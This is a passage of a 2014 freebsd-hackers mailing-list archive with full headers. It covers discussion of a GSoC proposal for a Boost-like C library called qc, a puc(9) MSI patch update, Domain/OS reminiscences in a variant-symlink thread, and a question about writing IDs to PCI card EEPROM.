s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=lttR5yVPrQsiHghrimp21bg7KPKdHGO86wmbzJCS2+Y=; b=mcEG+udohrGQERSbYl3/BwoXb3A6YPlOXt+jg3hKMzsJc2ZbJERfLYEyXhFWr+xWUe tJr6GpNeE6odJOa+iYtLDbrp8bJZNewCww/XyZ4nUHMN/i0BfX0u4go6UPBENL39xLhp oMab71DmnNR8JYbmebwCstCaarBujvzCo08U3bAG9xP/PmQ6hPyQPKJNpHoNM7ntEUSs fQuYDIC6KUjpDDZBniQ/IzqRNPzyfLQcUGmIT60mOXQF1X3dfqh1WZHgc234zJ9b1pE5 ySm8h/XLkIgxkqJ4NazuyhFDmPVYcZ3wkpgz/guFMMhDzxjxP4vJpvyix9EsRUDtILKC Ugiw== MIME-Version: 1.0 X-Received: by 10.180.25.46 with SMTP id z14mr9403785wif.49.1393444920422; Wed, 26 Feb 2014 12:02:00 -0800 (PST) Received: by 10.216.31.72 with HTTP; Wed, 26 Feb 2014 12:02:00 -0800 (PST) In-Reply-To: <530E3B09.2060602@zoho.com> References: <530E3B09.2060602@zoho.com> Date: Wed, 26 Feb 2014 21:02:00 +0100 Message-ID: Subject: Re: GSoC proposal: Quirinus C library (qc) From: =?ISO-8859-1?Q?Fernando_Apestegu=EDa?= To: =?UTF-8?B?xYF1a2FzeiBXw7NqY2lr?= Content-Type: text/plain; charset=ISO-8859-2 Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: hackers@freebsd.org, ghostmansd@gmail.com X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Feb 2014 20:02:02 -0000 On Wed, Feb 26, 2014 at 8:05 PM, =A3ukasz W=F3jcik = wrote: > W dniu 2014-02-25 09:24, Dmitry Selyutin pisze: > > Hello everyone! >> >> My name is Dmitry, I'm 22 years old student from Lomonosov Moscow State >> University of Russia. This message is addressed mainly to C connoiseurs, >> yet I think other people may find it interesting. It's a GSoC proposal. >> It's a pity that for language like C we generally don't have something >> universal like Boost, so we have to implement some common functions from >> scratch or introduce new dependencies. We have Glib, which is used mainl= y >> by Gnome developers (though it is a standalone library) and LGPL-ed, whi= ch >> is not as liberal as Boost's license. We also have APR, which seems to b= e >> a >> bit more comprehensive and convenient, yet it is not so well-known as >> Glib. >> I'm in process of implementing a something like Boost for ANSI C (though= I >> don't pretend this library to share Boost's comprehensiveness). Several >> ideas I find useful are: >> >> 1. Strict and universal interface. Each function begins with qc_ prefix, >> followed by type if function is type-related. Most of types (except >> enum-typedef'ed ones) have three common functions (replace _type_ with t= he >> necessary type name, e.g. _bytes_): >> a. Constructor: void * qc_type_construct(void). Allocate object >> instance >> and initialize it to default value. >> b. Destructor: void qc_type_destruct(void * pointer). Deallocate memo= ry >> allocated for object and its members. >> c. Replicator: void * qc_type_replicate(void const * pointer). >> Replicate >> object, copying its data to new allocated object, i.e. clone. >> Most of types also have _import_ and _export_ functions, which allow to >> fill allocated object with the desired data (e.g. fill bytes array from >> null-terminated char string) or export data to another type. Almost all >> enum-typedef'ed types also have _import_ and _export_ functions to >> retrieve >> a key value corresponding to string. >> >> 2. Common and universal error type, qc_error. Such errors can be generat= ed >> from errno values as well as from Windows API errors. >> Almost all functions from qc library except for the three common functio= ns >> (constructor, destructor, replicator) return qc_error code and set >> specific >> qc_errno variable to this code. >> It is now possible to write such constructions: >> if (qc_bytes_import_str(bytes_instance, "Hello, world!")) >> qc_errormsg(qc_errno, "error check"); >> Global variable qc_errno is implemented in terms of multithreading >> applications, it is unique for every running thread. >> >> 3. Clear distinction between byte and Unicode strings (qc_byte and qc_uc= s >> types for characters, where qc_byte has exactly 8-bit width and qc_ucs h= as >> exactly 32-bit width). >> Charsets are just enumeration, e.g. QC_ENCODING_UTF8, >> QC_ENCODING_ISO_8859_4, etc., yet it is possible to lookup the desired >> encoding using qc_encoding_import. If encoding is known under several >> names, they are handled alltogether, i.e. QC_ENCODING_ASCII will be >> returned for any of "ASCII", "iso-ir-6", "ANSI_X3.4-1968", "ISO646-US", >> etc. Register doesn't matter. >> Two new types, qc_bytes and qc_unicode are provided, in order to store >> binary and Unicode data. It is possible to store null characters inside >> such objects. It is similar to C++ string and C++ vector classes. >> >> 4. Universal file system path type. It is possible to achieve >> cross-platformness using such path types, i.e. it is possible to make >> directories, links, symlinks, remove files, directories, etc. regardless >> of >> platform path API. >> >> 5. i18n support must be embedded with qc library. Locales, timezones, da= y >> and months names, etc. must be provided too, in several forms if >> necessary. >> i18n functions work with qc_unicode type, so charset conversion problems >> won't exist. >> >> 6. Multithreading support if platform permits it. On POSIX we use >> pthreads, >> on Windows we use its API for multithreading. I'm also thinking about >> green >> threads implementation. Thread local storage is already implemented, yet >> there is still a lot work to be done with threads, mutexes, etc. >> >> 7. Multiprecision arithmetics. I'm using GMP to achieve it, yet I'm >> planning to switch to something BSD-like or to implement it from scratch >> (that probably would be better, since library doesn't introduce any >> dependencies except GMP). >> >> 8. Ternary logic almost everywhere. Being fan of Russian Setun computer, >> I've started this library as implementation of ternary logic operations. >> When I've realized that there is still much to be done in other fields, >> I've already concluded that ternary logic is suitable for a wide set of >> other operations, e.g. comparison, determining type of strings, >> endianness, >> etc. I think that I'll leave type qc_trit, since I've found it extremely >> useful. >> >> 9. A lot of other things to be done, such as unified I/O streams which >> provide compression/transformation filters, protocols, math library, etc= . >> >> >> Why I'm writing such letter to FreeBSD? I'm pretty sure that FreeBSD >> highly >> needs such library, since we try to use BSD-like license and yet to >> implement things that exist in GNU world. The most common example is GNU >> readline library, yet I think there is a lot of libraries that we >> reimplemented just to let some projects suit BSD philosophy. We can make= a >> good library, which can be used a lot in different projects, yet it will >> field everyone like Boost. The nature of C language itself helps us to >> keep >> this library much more tiny than Boost library; I also think that we can >> limit our support with POSIX-(almost-)compatible platforms and Windows. >> >> I've already done a lot of work, but it is hard to make decisions withou= t >> advice or discussion, so I've thought about to enter GSoC this year like= I >> did two years ago when I've reimplemented gnulib-tool for FSF. This >> project >> is much more interesting for me, since I want to upgrade my C skills, ge= t >> known BSD world better and provide a good cross-platform library which m= ay >> be useful to almost everyone. Since I've already finished my volunteer's >> job in Sochi (I've worked as technologist volunteer), I'm really want to >> make something new for other people to be useful. >> >> If you are interested in my project, here is repository at GitHub: >> https://github.com/ghostmansd/quirinus. I guess I'll later rename it to >> https://github.com/ghostmansd/qc, yet it doesn't matters. If you're >> interested in my previous GSoC work, you can find it here: >> https://github.com/ghostmansd/gnulib-python. If you want to get to know >> me >> better from any side (my philological studies in Lomonosov Moscow >> University, GSoC participation, Sochi volunteer job, etc.), you can writ= e >> me a email; I'd be very glad. >> >> Thanks for reading such a long letter! >> >> > Hi Dmitry, > > I'd like to say I personally like the idea of having glibc counterpart in > FreeBSD (and possibly other OSes). It's not quite sure though whether > you're looking for help with development or review ? Perhaps with somethi= ng > else ? > I suppose you mean _glib_ instead of glibc (our glibc counterpart is our libc in base). The project sounds nice although a lot of features (like the error treatment, multithreading support...) are already present in glib (and they are very well tested). Cheers. > > Sincerely, > -=A3W > > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org= " > From owner-freebsd-hackers@FreeBSD.ORG Wed Feb 26 20:33:12 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id F0E5DC5C for ; Wed, 26 Feb 2014 20:33:12 +0000 (UTC) Received: from mail-oa0-x231.google.com (mail-oa0-x231.google.com [IPv6:2607:f8b0:4003:c02::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id BB12A18DA for ; Wed, 26 Feb 2014 20:33:12 +0000 (UTC) Received: by mail-oa0-f49.google.com with SMTP id i4so1450911oah.36 for ; Wed, 26 Feb 2014 12:33:12 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=rcMxTIWNKePTkp+jr5hwes+Zaincv1eTvkPKpgxOdJI=; b=TAscbMxaf8cJLI+BWqun7RgoLTrCzk01Q3Sgc2Shagl/Anp+BqnbATSr5US0hTpj44 Qlki9Os+aV6r+CZpaEi8mwo5gfWxJym6WSKDcQ7bRop4mm1EMRXbZxxObOE6ibNyLijw zfFa1sTKkhCE2Ef26oaqeLSghIrj+oWSI7Ksx0FPRZqaTvr0oGn9/+B/kDZlfRHoZVGP i0nhOJv4K+ubP+7lJ+jDggZFsFy2e3v7v4bSkEtdGYfoD5RmP/0LyGMN10mJBR3Qnirz tefPwVPUUsO+3qg/AVpQ78koSjrpUVUhFuYqQ/KsjASk0qPUJCttLr3MqDMlgy9DVsBk tupQ== MIME-Version: 1.0 X-Received: by 10.182.149.168 with SMTP id ub8mr2461946obb.74.1393446792102; Wed, 26 Feb 2014 12:33:12 -0800 (PST) Received: by 10.76.130.196 with HTTP; Wed, 26 Feb 2014 12:33:12 -0800 (PST) In-Reply-To: References: Date: Wed, 26 Feb 2014 15:33:12 -0500 Message-ID: Subject: Re: [PATCH] Add MSI support to puc(9) From: Ryan Stone To: "freebsd-hackers@freebsd.org" Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Feb 2014 20:33:13 -0000 Oops, I just realized that when I pulled the patch from our internal tree and applied it to head that pucdata.c was not patched correctly. I have corrected the patch and uploaded a new version. From owner-freebsd-hackers@FreeBSD.ORG Wed Feb 26 20:34:24 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DD9B9D64; Wed, 26 Feb 2014 20:34:24 +0000 (UTC) Received: from smtp.digiware.nl (unknown [IPv6:2001:4cb8:90:ffff::3]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 92E6318ED; Wed, 26 Feb 2014 20:34:24 +0000 (UTC) Received: from rack1.digiware.nl (unknown [127.0.0.1]) by smtp.digiware.nl (Postfix) with ESMTP id BFADF1534ED; Wed, 26 Feb 2014 21:34:22 +0100 (CET) X-Virus-Scanned: amavisd-new at digiware.nl Received: from smtp.digiware.nl ([127.0.0.1]) by rack1.digiware.nl (rack1.digiware.nl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id AMEgpowWcmea; Wed, 26 Feb 2014 21:34:20 +0100 (CET) Received: from [192.168.10.9] (vaio [192.168.10.9]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by smtp.digiware.nl (Postfix) with ESMTPSA id 52F60153448; Wed, 26 Feb 2014 21:34:20 +0100 (CET) Message-ID: <530E4FCC.4090401@digiware.nl> Date: Wed, 26 Feb 2014 21:34:20 +0100 From: Willem Jan Withagen User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Daniel Eischen , George Mitchell Subject: Re: Variant Link (Was: Re: Thoughts on Multi-Symlink Concept) References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <43505B61-FAE8-4A61-922E-78F6007BBFC3@gmail.com> <530BE132.1030507@m5p.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Feb 2014 20:34:24 -0000 On 25-2-2014 2:20, Daniel Eischen wrote: > On Mon, 24 Feb 2014, George Mitchell wrote: >> On 02/22/14 21:45, Jordan Hubbard wrote: >>> On Feb 22, 2014, at 3:06 PM, Willem Jan Withagen >>>> Apollo Domain systems had those, and they were great. >>>> Set SYSTYPE to BSD4 and get the BSD tree and all that came with it, or >>>> SYSV to get the other stuff. >>> [...] >> >> Since we're going down DomainOS Memory Lane, does anyone else miss >> transcript pads? -- George > > I missed the transcript pad too. > > I also missed the DM editor and the ability to write DM scripts. > > And I miss the edit pad - the first time I was able to do > a rectangular cut/paste/move. And I loved the ability to place > the cursor beyond the current end of a line and start typing > (without clicking the mouse!). I hate having to hold down > the space bar, adding blanks, to get out to the column I want > (suppose your coding conventions disallow tabs). If I remember correctly it was possible to run X on the box, in a sort of transparent thru mode. And that was version 10.?? But first time I saw it, I wondered why anybody would want to run that on DomainOS? It was progress the wrong way around.... And from the DM editor, I went into vi, because Emacs just does not fit in the frame of my brain.... :( BTW Got an svn URL from Brooks@, so I'll atleast download the VariantLink code.... --WjW From owner-freebsd-hackers@FreeBSD.ORG Wed Feb 26 21:01:45 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C9286779 for ; Wed, 26 Feb 2014 21:01:45 +0000 (UTC) Received: from mail.crittercasa.com (mail.turbofuzz.com [208.87.221.144]) by mx1.freebsd.org (Postfix) with ESMTP id A30DD1BA7 for ; Wed, 26 Feb 2014 21:01:44 +0000 (UTC) Received: from kruse-49.3.ixsystems.com (unknown [69.198.165.132]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by mail.crittercasa.com (Postfix) with ESMTPS id 5184F164894; Wed, 26 Feb 2014 12:55:13 -0800 (PST) Content-Type: multipart/signed; boundary="Apple-Mail=_896EA4AB-D3BC-42D5-BD05-1D0E089EED5E"; protocol="application/pgp-signature"; micalg=pgp-sha512 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: GSoC proposal: Quirinus C library (qc) From: Jordan Hubbard In-Reply-To: Date: Wed, 26 Feb 2014 12:55:11 -0800 Message-Id: References: To: ghostmansd@gmail.com X-Mailer: Apple Mail (2.1874) X-Mailman-Approved-At: Wed, 26 Feb 2014 21:10:28 +0000 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Feb 2014 21:01:45 -0000 --Apple-Mail=_896EA4AB-D3BC-42D5-BD05-1D0E089EED5E Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 Hi Dmitry, Let me first just say that this is a great idea - libc has always = traditionally been a very minimalist place to start writing applications = from, and certainly =93lack of high-level API=94 is one of the = traditional Achilles heels of Unix, not just FreeBSD. I can certainly = say from personal experience that the life of an ISV on a Unix platform = is a sad one - you either end up writing a lot of the foundational = libraries yourself and/or you stick together a potpourri of libraries = like apr, glib and gmp to try and give your application a somewhat = higher place to stand, hoping like hell of course that the foundational = libraries you=92ve chosen actually work, and work together! That said, I feel compelled to point out that you=92re also about to = drive into a swamp, and there are lots of alligators and poisonous = snakes in there. :-) If you=92re going to do this, it=92s best to go into it with your eyes = fully open and aware of the magnitude of the challenge you=92re about to = undertake (hint - you will be at least 28 years old before you consider = this =93done=94 enough to walk away, or more likely run screaming, from = it because by then you=92ll be really really ready to move onto = something else!). I don=92t say this to discourage you, I just want to = make sure you=92re fully aware of what you=92re about to undertake if = you=92re truly committed to seeing it all the way through - this is far = more than just a GSoC project! One of the big reasons it=92s such a swamp is the degree to which things = quickly become interconnected inside such a library. You want everything to be I18N compliant by default, so first you = implement the Unicode character handling support and the relevant = character classing functions, and of course Unicode also means strings, = so you implement your own unicode-aware String type and also add a bunch = of convenience functions to Strings while you=92re in there. Then, = naturally, you need to convert other data types (like C strings) to and = from your String type, so you add those functions (and if you want to = see how far that can go - look here!). Once you=92ve done all that = work, you want the rest of your library to use your String type, so now = you=92ve got your second (after the character handling) bit of = inter-connectedness and it just multiplies from there. All your base = types (Strings, Hashes, Arrays, Trees, etc) become consumed by the rest = of the library and any client of gc_lib soon needs to sign up for the = whole package - they can=92t just pick and choose individual functions = as they see fit, and maybe that=92s OK, but that=92s part of the reason = why there are so many competing libraries like this - everyone wants to = own the foundation because it=92s just so much easier when they do! Perhaps all of this has already occurred to you, in which case I=92m = just stating the obvious, but having written such libraries myself = (libxtr - stood for =93extra functions=94 - back in the 1990=92s) and = also having had recent experience with Apple=92s Foundation libraries, = which do everything you just described and a lot more, I figured it = wouldn=92t hurt to point it out. Anyway, on to the specifics: On Feb 25, 2014, at 12:24 AM, Dmitry Selyutin = wrote: > 1. Strict and universal interface. Each function begins with qc_ = prefix, > followed by type if function is type-related. Yep, it=92s good you put that first. If the names don=92t make sense, = nobody can remember what to call and the library is useless! Uniform = calling conventions for everything is also obviously important. > 4. Universal file system path type. It is possible to achieve > cross-platformness using such path types, i.e. it is possible to make > directories, links, symlinks, remove files, directories, etc. = regardless of > platform path API. Here, however, I think you might want to really consider the role of = this library. Is it a =93higher level library for BSD=94 or is it a = cross-platform development library that caters to non-Unix platforms as = well? You mentioned Windows earlier in the document, and if so then = that=92s cause for concern because if you really want to make it a = cross-platform library then you=92re going to be faced with lots of = different constraints that just don=92t apply to FreeBSD and will = seriously limit the approaches you can take. Moreover, the code itself = will be a lot uglier if it has to compile on Windows (or = $someOtherNonUnixOS) as well, and you will spend a substantial amount of = time and energy just impedance matching the library to the different OS = foundations. Personally, I think it should be a non-goal to make this library = cross-platform. There are already plenty of other good cross-platform = development libraries out there if that=92s what an ISV wants to do, = whereas there is no =93better libc than libc=94 library for *BSD, which = holds native development back. More importantly, if you just focus on = BSD as your foundation, you can make a lot of assumptions and leverage = the power of the underlying OS in ways you just won=92t be able to do if = you want this to also work on Windows. > 6. Multithreading support if platform permits it. On POSIX we use = pthreads, > on Windows we use its API for multithreading. I'm also thinking about = green > threads implementation. Thread local storage is already implemented, = yet > there is still a lot work to be done with threads, mutexes, etc. Please don=92t reinvent pthreads. They already suck enough in libc. :-) I=92ve been up on the libdispatch soapbox so many times that I=92m sure = people here are tired of hearing it, but seriously, once Grand Central = Dispatch became firmly embedded in iOS and OS X, the app writers never = looked back at pthreads again because GCD is just so much easier to use, = and takes so much of the pain out of parallelism, that I=92ve received = countless emails from developers crying that they were recently forced = to go back to pthreads on some other platform and had forgotten how = horrible and painful the experience was! GCD has also been ported to = Windows, Linux and Android (again, by some of those same developers who = just would not, could not, go back to pthreads on Android) largely on = the strength of how much better an API it is for multi-threaded = programming. It=92s also been ported to FreeBSD (Hi Robert) so there=92s = really just no need to re-invent this wheel. The source code is there, = it works, just make it a subset of your library. Its dependencies are = deliberately very small because we wanted it to be low-level and = cross-platform. > 9. A lot of other things to be done, such as unified I/O streams which > provide compression/transformation filters, protocols, math library, = etc. Look at GCD=92s async I/O functions and, if you want to create = transformation/compression filters, you really can=92t do better than = Security Transforms as a model. Don=92t let the name fool you - they = were created for cryptographic tasks, but they=92re really a generic, = multithreaded, data pipelining model. If I had those to do over again, = I would not have had them called SecTransforms at all but merely added a = Transform API to GCD and then built SecTransforms on top! The rest of your proposal looks fine to me - date functions, unicode, = etc - all pretty standard stuff. Like I said, I have pretty recent = experience with this with Core Foundation (see also OpenCFLite) and it=92s= all doable and very useful, you just need to remember all the caveats = in my first paragraph! :-) - Jordan --Apple-Mail=_896EA4AB-D3BC-42D5-BD05-1D0E089EED5E Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - https://gpgtools.org iF4EAREKAAYFAlMOVLAACgkQA00ZyjuMuWzGsAD/Yy20mrOgqFiDHkWT6tnYR3zD nr9p7oGmn8fKpmtE7DoA/3aRwkwdRI3VjrkDk2fgrcsqaM5hiJ715HiC35F/J+Ik =CopF -----END PGP SIGNATURE----- --Apple-Mail=_896EA4AB-D3BC-42D5-BD05-1D0E089EED5E-- From owner-freebsd-hackers@FreeBSD.ORG Wed Feb 26 21:21:55 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 709E8E49 for ; Wed, 26 Feb 2014 21:21:55 +0000 (UTC) Received: from mail.netplex.net (mail.netplex.net [204.213.176.9]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 113631D48 for ; Wed, 26 Feb 2014 21:21:54 +0000 (UTC) Received: from sea.ntplx.net (sea.ntplx.net [204.213.176.11]) by mail.netplex.net (8.14.8/8.14.8/NETPLEX) with ESMTP id s1QLLixP020497; Wed, 26 Feb 2014 16:21:44 -0500 X-Virus-Scanned: by AMaViS and Clam AntiVirus (mail.netplex.net) X-Greylist: Message whitelisted by DRAC access database, not delayed by milter-greylist-4.4.3 (mail.netplex.net [204.213.176.9]); Wed, 26 Feb 2014 16:21:44 -0500 (EST) Date: Wed, 26 Feb 2014 16:21:44 -0500 (EST) From: Daniel Eischen X-X-Sender: eischen@sea.ntplx.net To: Willem Jan Withagen Subject: Re: Variant Link (Was: Re: Thoughts on Multi-Symlink Concept) In-Reply-To: <530E4FCC.4090401@digiware.nl> Message-ID: References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <43505B61-FAE8-4A61-922E-78F6007BBFC3@gmail.com> <530BE132.1030507@m5p.com> <530E4FCC.4090401@digiware.nl> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-hackers@freebsd.org, George Mitchell X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: Daniel Eischen List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Feb 2014 21:21:55 -0000 On Wed, 26 Feb 2014, Willem Jan Withagen wrote: > On 25-2-2014 2:20, Daniel Eischen wrote: >> On Mon, 24 Feb 2014, George Mitchell wrote: >>> On 02/22/14 21:45, Jordan Hubbard wrote: >>>> On Feb 22, 2014, at 3:06 PM, Willem Jan Withagen >>>>> Apollo Domain systems had those, and they were great. >>>>> Set SYSTYPE to BSD4 and get the BSD tree and all that came with it, or >>>>> SYSV to get the other stuff. >>>> [...] >>> >>> Since we're going down DomainOS Memory Lane, does anyone else miss >>> transcript pads? -- George >> >> I missed the transcript pad too. >> >> I also missed the DM editor and the ability to write DM scripts. >> >> And I miss the edit pad - the first time I was able to do >> a rectangular cut/paste/move. And I loved the ability to place >> the cursor beyond the current end of a line and start typing >> (without clicking the mouse!). I hate having to hold down >> the space bar, adding blanks, to get out to the column I want >> (suppose your coding conventions disallow tabs). > > If I remember correctly it was possible to run X on the box, in a sort of > transparent thru mode. And that was version 10.?? > > But first time I saw it, I wondered why anybody would want to run that > on DomainOS? It was progress the wrong way around.... tank (or perhaps it is xtank now?) was awesome on the DN10000. My memory is foggy - I forget some of the other games. > And from the DM editor, I went into vi, because Emacs just does not fit > in the frame of my brain.... :( > > BTW Got an svn URL from Brooks@, so I'll atleast download the > VariantLink code.... Cool. If we were able to commit this, we wouldn't have to have Domain/OS conversations every 7 years :( -- DE From owner-freebsd-hackers@FreeBSD.ORG Thu Feb 27 06:22:43 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 290686D9 for ; Thu, 27 Feb 2014 06:22:43 +0000 (UTC) Received: from nm9-vm0.bullet.mail.bf1.yahoo.com (nm9-vm0.bullet.mail.bf1.yahoo.com [98.139.213.154]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id A7A7F1BAF for ; Thu, 27 Feb 2014 06:22:42 +0000 (UTC) Received: from [98.139.212.150] by nm9.bullet.mail.bf1.yahoo.com with NNFMP; 27 Feb 2014 06:19:49 -0000 Received: from [98.139.212.249] by tm7.bullet.mail.bf1.yahoo.com with NNFMP; 27 Feb 2014 06:19:49 -0000 Received: from [127.0.0.1] by omp1058.mail.bf1.yahoo.com with NNFMP; 27 Feb 2014 06:19:49 -0000 X-Yahoo-Newman-Property: ymail-3 X-Yahoo-Newman-Id: 652354.45473.bm@omp1058.mail.bf1.yahoo.com Received: (qmail 60983 invoked by uid 60001); 27 Feb 2014 06:19:49 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1393481989; bh=53HlNoFmoUuepNuhvuGbbJHoBMyHZFKtVa7XK3XgTXg=; h=X-YMail-OSG:Received:X-Rocket-MIMEInfo:X-Mailer:Message-ID:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type; b=BqktFvY+xvabjRQUt+EV3VnTZca+LpJtmN1lwX8ydm3oaZrREmXsr1F1ZBTdfroxmsKi3Hk/yZ7aN9bTMOPwepF/WPCy+bLwLieCZvDRQ//hFtbkN42dwe7keSs00VzqoTYkVXew/RVo2Ioqw//ZGIDJ9+u+ZQC5DqrGBwLAVaI= DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=X-YMail-OSG:Received:X-Rocket-MIMEInfo:X-Mailer:Message-ID:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type; b=Zy3/0q2VNtnmTJMcNJRZvhoqjgmR4D/NkTlUsAD9qP2ax+f7kLeThU9O/A9P4XZtS6avrAhpV20uM1rTv8W8lmgcVqushoDRjjJOAY9mb/M5Sw8FzzXUR+YAYTS6A3cjKSBsVT+tLZJu99pWGH0j3IgbyL1v9B+mZnuec5uIbEA=; X-YMail-OSG: mjnpoIcVM1lWSNa3t37F0FaGBTrsi0a49MklXpYEGRjSymj TZUWtnjCHyUeon9phCKJowYZODoCJC9QIrsUA6yLrj6Im9YtB3lPC9IyGG4D heLRnhQtBhFdCzKahOMxtvVKVhzukoiiSIBX00MlKiOqopBeK4BfV8BQ7p5G 0HqMqYys9TyvJctRdx6u9O94yekvI9jqIJ.SGqfmM8s1Nl_AA4BeImo6XkXQ PJj5G9utYK8xnRSwBc2WPQ392cj2RIpTwmRS82JhmJt6axHhlfEQ1ge7BFhj rQbTY_pE2RXi3iLoZDhNFP76ZEwyHJixPgjmBkuurow1.84OJgWrmMipxLJH NycsM_nD5OZa4VsD9trRDb9Dccf1yvifa.MkyCd_iKtvzR.Ti5WWgNMDnswN _6_f9c8oDLCGyfHiAYLotAao7UvnKuo1X53b2RUOg14P8fxHKdhlEcCmommY WIY85cpoFF_cPFWZqh6HSPMvIRXtxMdKup_B1LSNOhri.sKnTCgmxsqdJhM1 k3w925900SjcV8s3dM5fN_LtDjo6qKSEgAq9DaQ-- Received: from [89.165.120.140] by web162704.mail.bf1.yahoo.com via HTTP; Wed, 26 Feb 2014 22:19:49 PST X-Rocket-MIMEInfo: 002.001, V2Ugd2FudCB0byBhZGQgb3VyIG93biBJRCBmb3IgZWFjaCBvZiBvdXIgbW9kdWxlcyAocGNpIGNhcmRzKSwgaXMgaXQgcG9zc2libGUgdG8gd3JpdGUgdGhpcyBJRCBvbiBzb21ld2hlcmUgb2YgdGhlIGNhcmQgbGlrZSBFRVBST00_CgpUaGFua3MgaW4gYWR2YW5jZQEwAQEBAQ-- X-Mailer: YahooMailWebService/0.8.177.636 Message-ID: <1393481989.22330.YahooMailNeo@web162704.mail.bf1.yahoo.com> Date: Wed, 26 Feb 2014 22:19:49 -0800 (PST) From: Nomad Esst Subject: Writting eeprom To: "freebsd-hackers@freebsd.org" , "freebsd-drivers@freebsd.org" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: Nomad Esst List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Feb 2014 06:22:43 -0000 We want to add our own ID for each of our modules (pci cards), is it possible to write this ID on somewhere of the card like EEPROM? Thanks in advance From owner-freebsd-hackers@FreeBSD.ORG Thu Feb 27 09:34:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org 